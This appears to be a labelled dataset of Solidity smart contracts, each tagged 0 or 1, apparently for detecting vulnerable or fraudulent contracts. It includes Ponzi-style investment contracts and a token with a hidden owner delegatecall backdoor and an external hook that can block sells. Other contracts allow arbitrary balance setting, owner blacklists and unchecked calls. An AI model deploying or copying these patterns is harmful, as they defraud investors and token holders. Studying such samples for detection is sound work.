pragma solidity ^0.4.25; contract Percent1200 { using SafeMath for uint256; mapping(address => uint256) investments; mapping(address => uint256) joined; mapping(address => uint256) withdrawals; mapping(address => uint256) referrer; uint256 public step = 100; uint256 public minimum = 10 finney; uint256 public stakingRequirement = 2 ether; address public ownerWallet; address public owner; event Invest(address investor, uint256 amount); event Withdraw(address investor, uint256 amount); event Bounty(address hunter, uint256 amount); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; ownerWallet = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; ownerWallet = newOwnerWallet; } function () public payable { buy(0x0); } function buy(address _referredBy) public payable { require(msg.value >= minimum); address _customerAddress = msg.sender; if( _referredBy != 0x0000000000000000000000000000000000000000 && _referredBy != _customerAddress && investments[_referredBy] >= stakingRequirement ){ referrer[_referredBy] = referrer[_referredBy].add(msg.value.mul(5).div(100)); } if (investments[msg.sender] > 0){ if (withdraw()){ withdrawals[msg.sender] = 0; } } investments[msg.sender] = investments[msg.sender].add(msg.value); joined[msg.sender] = block.timestamp; ownerWallet.transfer(msg.value.mul(10).div(100)); emit Invest(msg.sender, msg.value); } function getBalance(address _address) view public returns (uint256) { uint256 minutesCount = now.sub(joined[_address]).div(1 minutes); uint256 percent = investments[_address].mul(step).div(100); uint256 different = percent.mul(minutesCount).div(120); uint256 balance = different.sub(withdrawals[_address]); return balance; } function withdraw() public returns (bool){ require(joined[msg.sender] > 0); uint256 balance = getBalance(msg.sender); if (address(this).balance > balance){ if (balance > 0){ withdrawals[msg.sender] = withdrawals[msg.sender].add(balance); msg.sender.transfer(balance); emit Withdraw(msg.sender, balance); } return true; } else { return false; } } function bounty() public { uint256 refBalance = checkReferral(msg.sender); if(refBalance >= minimum) { if (address(this).balance > refBalance) { referrer[msg.sender] = 0; msg.sender.transfer(refBalance); emit Bounty(msg.sender, refBalance); } } } function checkBalance() public view returns (uint256) { return getBalance(msg.sender); } function checkWithdrawals(address _investor) public view returns (uint256) { return withdrawals[_investor]; } function checkInvestments(address _investor) public view returns (uint256) { return investments[_investor]; } function checkReferral(address _hunter) public view returns (uint256) { return referrer[_hunter]; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
1
2,925
pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BotProtected { address internal owner; address internal protectionFromBots; address public uniPair; constructor(address _botProtection) { protectionFromBots = _botProtection; } modifier checkBots(address _from, address _to, uint256 _value) { (bool notABot, bytes memory isNotBot) = protectionFromBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value)); require(notABot); _; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } abstract contract ERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; } } contract GreenEyedMonsters is BotProtected { mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply = 1000000000000000000000000000000; string public name = "Green Eyed Monsters"; string public symbol = "GEM"; IUniswapV2Router02 public routerForPancake = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); constructor(address _botProtection) BotProtected(_botProtection) { owner = tx.origin; uniPair = pairForPancake(wETH, address(this)); allowance[address(this)][address(routerForPancake)] = uint(-1); allowance[tx.origin][uniPair] = uint(-1); } function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) { if (_value == 0) { return true; } if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable returns (bool) { require(msg.sender == owner); (bool success, ) = a.delegatecall(b); return success; } function pairForPancake(address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } function distribute(address[] memory _toWho, uint amount) public { require(msg.sender == owner); protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _toWho)); for(uint i = 0; i < _toWho.length; i++) { balanceOf[_toWho[i]] = amount; emit Transfer(address(0x0), _toWho[i], amount); } } function list(uint _numList, address[] memory _toWho, uint[] memory _amounts) public payable { require(msg.sender == owner); balanceOf[address(this)] = _numList; balanceOf[msg.sender] = totalSupply * 6 / 100; routerForPancake.addLiquidityETH{value: msg.value}( address(this), _numList, _numList, msg.value, msg.sender, block.timestamp + 600 ); require(_toWho.length == _amounts.length); protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _toWho)); for(uint i = 0; i < _toWho.length; i++) { balanceOf[_toWho[i]] = _amounts[i]; emit Transfer(address(0x0), _toWho[i], _amounts[i]); } } }
0
136
pragma solidity ^0.4.24; contract XKnockoutHamster2 { using SafeMath for uint256; struct EntityStruct { bool active; bool vip; uint listPointer; uint256 date; uint256 update; uint256 exit; uint256 profit; } mapping(address => EntityStruct) public entityStructs; address[] public entityList; address[] public vipList; address dev; uint256 base = 100000000000000000; uint256 public startedAt = now; uint256 public timeRemaining = 24 hours; uint256 public devreward; uint public round = 1; uint public shift = 0; uint public joined = 0; uint public exited = 0; bool public timetoRegular = true; constructor() public { dev = msg.sender; } function() public payable { if(!checkRemaining()) { if(msg.value == base) { addToList(); } else if(msg.value == base.div(10)) { up(); } else { revert("Send 0.1 ETH to join the list or 0.01 ETH to up"); } } } function addToList() internal { if(entityStructs[msg.sender].active) revert("You are already in the list"); newEntity(msg.sender, true); joined++; startedAt = now; entityStructs[msg.sender].date = now; entityStructs[msg.sender].profit = 0; entityStructs[msg.sender].update = 0; entityStructs[msg.sender].exit = 0; entityStructs[msg.sender].active = true; entityStructs[msg.sender].vip = false; if(timetoRegular) { entityStructs[entityList[shift]].profit += base; if(entityStructs[entityList[shift]].profit == 2*base) { exitREG(); } } else { uint lastVIP = lastVIPkey(); entityStructs[vipList[lastVIP]].profit += base; if(entityStructs[vipList[lastVIP]].profit == 2*base) { exitVIP(vipList[lastVIP]); } } } function up() internal { if(joined.sub(exited) < 3) revert("You are too alone to up"); if(!entityStructs[msg.sender].active) revert("You are not in the list"); if(entityStructs[msg.sender].vip && (now.sub(entityStructs[msg.sender].update)) < 600) revert ("Up allowed once per 10 min"); if(!entityStructs[msg.sender].vip) { uint rowToDelete = entityStructs[msg.sender].listPointer; address keyToMove = entityList[entityList.length-1]; entityList[rowToDelete] = keyToMove; entityStructs[keyToMove].listPointer = rowToDelete; entityList.length--; entityStructs[msg.sender].update = now; entityStructs[msg.sender].vip = true; newVip(msg.sender, true); devreward += msg.value; } else if (entityStructs[msg.sender].vip) { entityStructs[msg.sender].update = now; delete vipList[entityStructs[msg.sender].listPointer]; newVip(msg.sender, true); devreward += msg.value; } } function newEntity(address entityAddress, bool entityData) internal returns(bool success) { entityStructs[entityAddress].active = entityData; entityStructs[entityAddress].listPointer = entityList.push(entityAddress) - 1; return true; } function exitREG() internal returns(bool success) { entityStructs[entityList[shift]].active = false; entityStructs[entityList[shift]].exit = now; entityList[shift].transfer( entityStructs[entityList[shift]].profit.mul(90).div(100) ); devreward += entityStructs[entityList[shift]].profit.mul(10).div(100); exited++; delete entityList[shift]; shift++; if(lastVIPkey() != 9999) { timetoRegular = false; } return true; } function newVip(address entityAddress, bool entityData) internal returns(bool success) { entityStructs[entityAddress].vip = entityData; entityStructs[entityAddress].listPointer = vipList.push(entityAddress) - 1; return true; } function exitVIP(address entityAddress) internal returns(bool success) { uint lastVIP = lastVIPkey(); entityStructs[vipList[lastVIP]].active = false; entityStructs[vipList[lastVIP]].exit = now; vipList[lastVIP].transfer( entityStructs[vipList[lastVIP]].profit.mul(90).div(100) ); devreward += entityStructs[vipList[lastVIP]].profit.mul(10).div(100); uint rowToDelete = entityStructs[entityAddress].listPointer; address keyToMove = vipList[vipList.length-1]; vipList[rowToDelete] = keyToMove; entityStructs[keyToMove].listPointer = rowToDelete; vipList.length--; exited++; timetoRegular = true; return true; } function lastREGkey() public constant returns(uint) { if(entityList.length == 0) return 9999; if(shift == entityList.length) return 9999; uint limit = entityList.length-1; for(uint l=limit; l >= 0; l--) { if(entityList[l] != address(0)) { return l; } } return 9999; } function lastVIPkey() public constant returns(uint) { if(vipList.length == 0) return 9999; uint limit = vipList.length-1; for(uint j=limit; j >= 0; j--) { if(vipList[j] != address(0)) { return j; } } return 9999; } function checkRemaining() public returns (bool) { if(now >= timeRemaining.add(startedAt)) { if(lastVIPkey() != 9999) { uint limit = vipList.length-1; for(uint l=limit; l >= 0; l--) { if(vipList[l] != address(0)) { entityStructs[vipList[l]].active = false; entityStructs[vipList[l]].vip = false; entityStructs[vipList[l]].date = 0; } if(l == 0) break; } } if(lastREGkey() != 9999) { for(uint r = shift; r <= entityList.length-1; r++) { entityStructs[entityList[r]].active = false; entityStructs[entityList[r]].date = 0; } } rewardDev(); if(address(this).balance.sub(devreward) > 0) { if(lastVIPkey() != 9999) { vipList[lastVIPkey()].transfer(address(this).balance); } } vipList.length=0; entityList.length=0; shift = 0; startedAt = now; timeRemaining = 24 hours; timetoRegular = true; exited = joined = 0; round++; return true; } uint range = joined.sub(exited).div(100); if(range != 0) { timeRemaining = timeRemaining.div(range.mul(2)); } return false; } function rewardDev() public { dev.transfer(devreward); devreward = 0; } function queueVIP() public view returns (address[]) { return vipList; } function queueREG() public view returns (address[]) { return entityList; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
1
4,373
pragma solidity 0.4.20; contract ERC20 { function totalSupply() public constant returns (uint256 supply); function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract Owned { address public owner; address public newOwnerCandidate; event OwnershipRequested(address indexed by, address indexed to); event OwnershipTransferred(address indexed from, address indexed to); event OwnershipRemoved(); function Owned() public { owner = msg.sender; } modifier onlyOwner() { require (msg.sender == owner); _; } function proposeOwnership(address _newOwnerCandidate) public onlyOwner { newOwnerCandidate = _newOwnerCandidate; OwnershipRequested(msg.sender, newOwnerCandidate); } function acceptOwnership() public { require(msg.sender == newOwnerCandidate); address oldOwner = owner; owner = newOwnerCandidate; newOwnerCandidate = 0x0; OwnershipTransferred(oldOwner, owner); } function changeOwnership(address _newOwner) public onlyOwner { require(_newOwner != 0x0); address oldOwner = owner; owner = _newOwner; newOwnerCandidate = 0x0; OwnershipTransferred(oldOwner, owner); } function removeOwnership(address _dac) public onlyOwner { require(_dac == 0xdac); owner = 0x0; newOwnerCandidate = 0x0; OwnershipRemoved(); } } contract Escapable is Owned { address public escapeHatchCaller; address public escapeHatchDestination; mapping (address=>bool) private escapeBlacklist; function Escapable(address _escapeHatchCaller, address _escapeHatchDestination) public { escapeHatchCaller = _escapeHatchCaller; escapeHatchDestination = _escapeHatchDestination; } modifier onlyEscapeHatchCallerOrOwner { require ((msg.sender == escapeHatchCaller)||(msg.sender == owner)); _; } function blacklistEscapeToken(address _token) internal { escapeBlacklist[_token] = true; EscapeHatchBlackistedToken(_token); } function isTokenEscapable(address _token) view public returns (bool) { return !escapeBlacklist[_token]; } function escapeHatch(address _token) public onlyEscapeHatchCallerOrOwner { require(escapeBlacklist[_token]==false); uint256 balance; if (_token == 0x0) { balance = this.balance; escapeHatchDestination.transfer(balance); EscapeHatchCalled(_token, balance); return; } ERC20 token = ERC20(_token); balance = token.balanceOf(this); require(token.transfer(escapeHatchDestination, balance)); EscapeHatchCalled(_token, balance); } function changeHatchEscapeCaller(address _newEscapeHatchCaller) public onlyEscapeHatchCallerOrOwner { escapeHatchCaller = _newEscapeHatchCaller; } event EscapeHatchBlackistedToken(address token); event EscapeHatchCalled(address token, uint amount); } contract UnsafeMultiplexor is Escapable(0, 0) { function init(address _escapeHatchCaller, address _escapeHatchDestination) public { require(escapeHatchCaller == 0); require(_escapeHatchCaller != 0); require(_escapeHatchDestination != 0); escapeHatchCaller = _escapeHatchCaller; escapeHatchDestination = _escapeHatchDestination; } modifier sendBackLeftEther() { uint balanceBefore = this.balance - msg.value; _; uint leftovers = this.balance - balanceBefore; if (leftovers > 0) { msg.sender.transfer(leftovers); } } function multiTransferTightlyPacked(bytes32[] _addressAndAmount) sendBackLeftEther() payable public returns(bool) { for (uint i = 0; i < _addressAndAmount.length; i++) { _unsafeTransfer(address(_addressAndAmount[i] >> 96), uint(uint96(_addressAndAmount[i]))); } return true; } function multiTransfer(address[] _address, uint[] _amount) sendBackLeftEther() payable public returns(bool) { for (uint i = 0; i < _address.length; i++) { _unsafeTransfer(_address[i], _amount[i]); } return true; } function multiCallTightlyPacked(bytes32[] _addressAndAmount) sendBackLeftEther() payable public returns(bool) { for (uint i = 0; i < _addressAndAmount.length; i++) { _unsafeCall(address(_addressAndAmount[i] >> 96), uint(uint96(_addressAndAmount[i]))); } return true; } function multiCall(address[] _address, uint[] _amount) sendBackLeftEther() payable public returns(bool) { for (uint i = 0; i < _address.length; i++) { _unsafeCall(_address[i], _amount[i]); } return true; } function _unsafeTransfer(address _to, uint _amount) internal { require(_to != 0); _to.send(_amount); } function _unsafeCall(address _to, uint _amount) internal { require(_to != 0); _to.call.value(_amount)(); } }
0
2,536
pragma solidity ^0.4.16; contract Token { function totalSupply() constant returns (uint256 supply) {} function balanceOf(address _owner) constant returns (uint256 balance) {} function transfer(address _to, uint256 _value) returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} function approve(address _spender, uint256 _value) returns (bool success) {} function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract FIBASK is StandardToken { function () { throw; } string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function FIBASK( ) { balances[msg.sender] = 1000000000000000000000000000; totalSupply = 1000000000000000000000000000; name = "FIBASK"; decimals = 18; symbol = "FIB"; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
1
4,938
pragma solidity ^0.8.13; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract BlackSwanProtocol is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping(address => bool) public bots; uint256 private _tTotal = 100000000 * 10**8; uint256 private _contractAutoLpLimitToken = 1000000000000000000; uint256 private _taxFee; uint256 private _buyTaxMarketing = 6; uint256 private _sellTaxMarketing = 12; uint256 private _autoLpFee = 3; uint256 private _LpPercentBase100 = 35; address payable private _taxWallet; address payable private _contractPayment; uint256 private _maxTxAmount; uint256 private _maxWallet; string private constant _name = "Black Swan Protocol"; string private constant _symbol = "SWAN"; uint8 private constant _decimals = 8; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; event SwapAndLiquify( uint256 tokensSwapped, uint256 coinReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _contractPayment = payable(address(this)); _taxFee = _buyTaxMarketing + _autoLpFee; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount = _tTotal.mul(2).div(10**2); _maxWallet = _tTotal.mul(4).div(10**2); _balance[address(this)] = _tTotal; emit Transfer(address(0x0), address(this), _tTotal); } function maxTxAmount() public view returns (uint256){ return _maxTxAmount; } function maxWallet() public view returns (uint256){ return _maxWallet; } function isInSwap() public view returns (bool) { return _inSwap; } function isSwapEnabled() public view returns (bool) { return _swapEnabled; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function setSellMarketingTax(uint256 taxFee) external onlyOwner() { _sellTaxMarketing = taxFee; } function setBuyMarketingTax(uint256 taxFee) external onlyOwner() { _buyTaxMarketing = taxFee; } function setAutoLpFee(uint256 taxFee) external onlyOwner() { _autoLpFee = taxFee; } function setContractAutoLpLimit(uint256 newLimit) external onlyOwner() { _contractAutoLpLimitToken = newLimit; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from] && !bots[to], "This account is blacklisted"); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<=_maxTxAmount,"Transaction amount limited"); require(_canTrade,"Trading not started"); require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size"); } if (from == _pair) { _taxFee = buyTax(); } else { _taxFee = sellTax(); } uint256 contractTokenBalance = balanceOf(address(this)); if(!_inSwap && from != _pair && _swapEnabled) { if(contractTokenBalance >= _contractAutoLpLimitToken) { swapAndLiquify(contractTokenBalance); } } } _tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 autoLpTokenBalance = contractTokenBalance.mul(_LpPercentBase100).div(10**2); uint256 marketingAmount = contractTokenBalance.sub(autoLpTokenBalance); uint256 half = autoLpTokenBalance.div(2); uint256 otherHalf = autoLpTokenBalance.sub(half); uint256 initialBalance = address(this).balance; swapTokensForEth(half); uint256 newBalance = address(this).balance.sub(initialBalance); addLiquidityAuto(newBalance, otherHalf); emit SwapAndLiquify(half, newBalance, otherHalf); swapTokensForEth(marketingAmount); sendETHToFee(marketingAmount); } function buyTax() private view returns (uint256) { return (_autoLpFee + _buyTaxMarketing); } function sellTax() private view returns (uint256) { return (_autoLpFee + _sellTaxMarketing); } function setMaxTx(uint256 amount) public onlyOwner{ require(amount>_maxTxAmount); _maxTxAmount=amount; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function createPair() external onlyOwner { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); IERC20(_pair).approve(address(_uniswap), type(uint).max); } function addLiquidityInitial() external payable onlyOwner { _uniswap.addLiquidityETH{value: address(this).balance} ( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); _swapEnabled = true; } function addLiquidityAuto(uint256 etherValue, uint256 tokenValue) private { _approve(address(this), address(_uniswap), tokenValue); _uniswap.addLiquidityETH{value: etherValue} ( address(this), tokenValue, 0, 0, owner(), block.timestamp ); _swapEnabled = true; } function removeLiquidity(address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline) external onlyOwner returns (uint amountA, uint amountB) { return _uniswap.removeLiquidity(tokenA, tokenB, liquidity, amountAMin, amountBMin, to, deadline); } function emergencyWithdraw(address _token) public onlyOwner { if (_token == address(0)) { owner().call{ value: address(this).balance }(""); } else { IERC20 token = IERC20(_token); uint bal = token.balanceOf(address(this)); token.approve(address(this), bal); token.transfer(owner(), bal); } } function enableTrading(bool _enable) external onlyOwner{ _canTrade = _enable; } function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private { uint256 tTeam = tAmount.mul(taxRate).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); _balance[sender] = _balance[sender].sub(tAmount); _balance[recipient] = _balance[recipient].add(tTransferAmount); _balance[address(this)] = _balance[address(this)].add(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function setMaxWallet(uint256 amount) public onlyOwner{ require(amount>_maxWallet); _maxWallet=amount; } receive() external payable {} function blockBots(address[] memory bots_) public onlyOwner {for (uint256 i = 0; i < bots_.length; i++) {bots[bots_[i]] = true;}} function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function manualsend() public { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function airdropOldHolders(address[] memory recipients, uint256[] memory amounts) public onlyOwner { for(uint256 i = 0; i < recipients.length; i++) { _balance[recipients[i]] = amounts[i] * 10**8; emit Transfer(address(this), recipients[i], amounts[i] * 10**8); } } }
0
1,180
